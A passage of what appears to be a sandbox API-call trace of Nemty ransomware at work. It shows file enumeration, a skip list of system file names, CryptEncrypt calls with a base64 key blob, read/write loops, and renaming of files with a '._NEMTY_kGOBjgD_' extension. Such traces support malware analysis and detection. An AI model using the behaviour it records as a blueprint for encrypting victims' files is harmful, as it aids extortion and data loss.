lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.107] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0068.116] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.116] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0068.116] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.116] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0068.126] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.126] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0068.126] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.126] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0068.132] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.132] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0068.132] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.132] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0068.138] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.138] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0068.138] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.138] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400f0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0068.138] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0068.138] CloseHandle (hObject=0xffffffff) returned 0 [0068.138] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0068.138] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0068.138] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0068.138] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0068.138] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0068.138] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0068.139] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0068.139] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0068.139] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0068.139] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0068.139] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\notes_btn-back-static.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_btn-back-static.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\notes_btn-back-static.png._nemty_kgobjgd_")) returned 0 [0068.139] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0068.139] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0068.139] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0068.139] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0068.139] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0068.139] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0068.139] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0068.139] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0068.139] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0068.139] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0068.139] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7127a3ae, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7127a3ae, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1a7ed, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="Notes_content-background.png", cAlternateFileName="")) returned 1 [0068.139] lstrcmpiW (lpString1="Notes_content-background.png", lpString2=".") returned 1 [0068.139] lstrcmpiW (lpString1="Notes_content-background.png", lpString2="..") returned 1 [0068.139] lstrcmpiW (lpString1="Notes_content-background.png", lpString2="...") returned 1 [0068.139] lstrcmpiW (lpString1="Notes_content-background.png", lpString2="windows") returned -1 [0068.139] lstrcmpiW (lpString1="Notes_content-background.png", lpString2="$RECYCLE.BIN") returned 1 [0068.139] lstrcmpiW (lpString1="Notes_content-background.png", lpString2="rsa") returned -1 [0068.139] lstrcmpiW (lpString1="Notes_content-background.png", lpString2="NTDETECT.COM") returned -1 [0068.139] lstrcmpiW (lpString1="Notes_content-background.png", lpString2="ntldr") returned -1 [0068.139] lstrcmpiW (lpString1="Notes_content-background.png", lpString2="MSDOS.SYS") returned 1 [0068.139] lstrcmpiW (lpString1="Notes_content-background.png", lpString2="IO.SYS") returned 1 [0068.139] lstrcmpiW (lpString1="Notes_content-background.png", lpString2="boot.ini") returned 1 [0068.139] lstrcmpiW (lpString1="Notes_content-background.png", lpString2="boot.ini") returned 1 [0068.139] lstrcmpiW (lpString1="Notes_content-background.png", lpString2="AUTOEXEC.BAT") returned 1 [0068.139] lstrcmpiW (lpString1="Notes_content-background.png", lpString2="ntuser.dat") returned -1 [0068.140] lstrcmpiW (lpString1="Notes_content-background.png", lpString2="desktop.ini") returned 1 [0068.140] lstrcmpiW (lpString1="Notes_content-background.png", lpString2="CONFIG.SYS") returned 1 [0068.140] lstrcmpiW (lpString1="Notes_content-background.png", lpString2="RECYCLER") returned -1 [0068.140] lstrcmpiW (lpString1="Notes_content-background.png", lpString2="BOOTSECT.BAK") returned 1 [0068.140] lstrcmpiW (lpString1="Notes_content-background.png", lpString2="bootmgr") returned 1 [0068.140] lstrcmpiW (lpString1="Notes_content-background.png", lpString2="programdata") returned -1 [0068.140] lstrcmpiW (lpString1="Notes_content-background.png", lpString2="appdata") returned 1 [0068.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0068.140] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Notes_content-background.png", cchWideChar=28, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0068.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0068.140] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Notes_content-background.png", cchWideChar=28, lpMultiByteStr=0x4f9ecb8, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Notes_content-background.png", lpUsedDefaultChar=0x0) returned 28 [0068.140] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0068.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0068.140] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Notes_content-background.png", cchWideChar=28, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0068.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0068.140] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Notes_content-background.png", cchWideChar=28, lpMultiByteStr=0x4f9ecb8, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Notes_content-background.png", lpUsedDefaultChar=0x0) returned 28 [0068.140] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0068.140] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0068.140] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0068.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0068.140] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Notes_content-background.png", cchWideChar=28, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0068.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0068.140] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Notes_content-background.png", cchWideChar=28, lpMultiByteStr=0x4f9ecb8, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Notes_content-background.png", lpUsedDefaultChar=0x0) returned 28 [0068.140] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0068.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0068.140] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Notes_content-background.png", cchWideChar=28, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0068.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0068.140] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Notes_content-background.png", cchWideChar=28, lpMultiByteStr=0x4f9ed08, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Notes_content-background.png", lpUsedDefaultChar=0x0) returned 28 [0068.140] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0068.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94328 [0068.140] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0068.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0068.140] Sleep (dwMilliseconds=0x5) [0068.154] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xdc451c10, dwHighDateTime=0x1d561e7)) [0068.154] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xdc451c10, dwHighDateTime=0x1d561e7)) [0068.154] GetLastError () returned 0x5 [0068.154] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0068.154] GetLastError () returned 0x5 [0068.154] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0068.155] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0068.155] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0068.155] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0068.155] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0068.155] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0068.155] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0068.155] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e91c | out: pszString="hVnZ/WCXRky4QTMaDf5kVGDay8O2I6U9feKC9Z/0gMkPMz2hN8ztyNRIfpeQOgMA\r\nXX+3UxgGBGm7PpDzOThedQUzdtxVvEqtzXKyrYP2ce2wAuia010Qt+KRF/pfPiqf\r\nv3ckncOam6IyXM4APkmTp/BM69O0gbWqqnSHn8+KUADOmrancCePruiQKFLjYgN3\r\nf/2uKSlo+MvSP5ho9zDAx+chDBNS6roT69eybsMxbaBKax0ytsPVzddbFq9CPVSC\r\nMUj0a+0PgEsOrBQIjLwhr2yCpbzNwMv0sNhYNoDHkUBq6LEUN28lDKMNnbgWRQnQ\r\ne8LZX6b7d+/Ex4Pih6H5Kw==\r\n", pcchString=0x653e91c) returned 1 [0068.155] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0068.155] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0068.155] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0068.155] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0068.155] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0068.155] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0068.155] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\notes_content-background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0068.156] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0068.156] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0068.156] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.156] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0068.165] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.165] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0068.165] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.165] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0068.175] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.175] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0068.175] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.176] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0068.185] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.185] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0068.185] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.185] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0068.204] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.204] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0068.204] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.204] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0068.214] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.214] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0068.214] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.214] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0068.223] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.223] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0068.223] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.223] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0068.275] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.275] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0068.275] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.275] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0068.285] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.285] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0068.285] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.285] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0068.294] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.294] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0068.294] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.294] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0068.303] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.303] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0068.303] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.303] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0068.309] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.309] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0068.310] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, 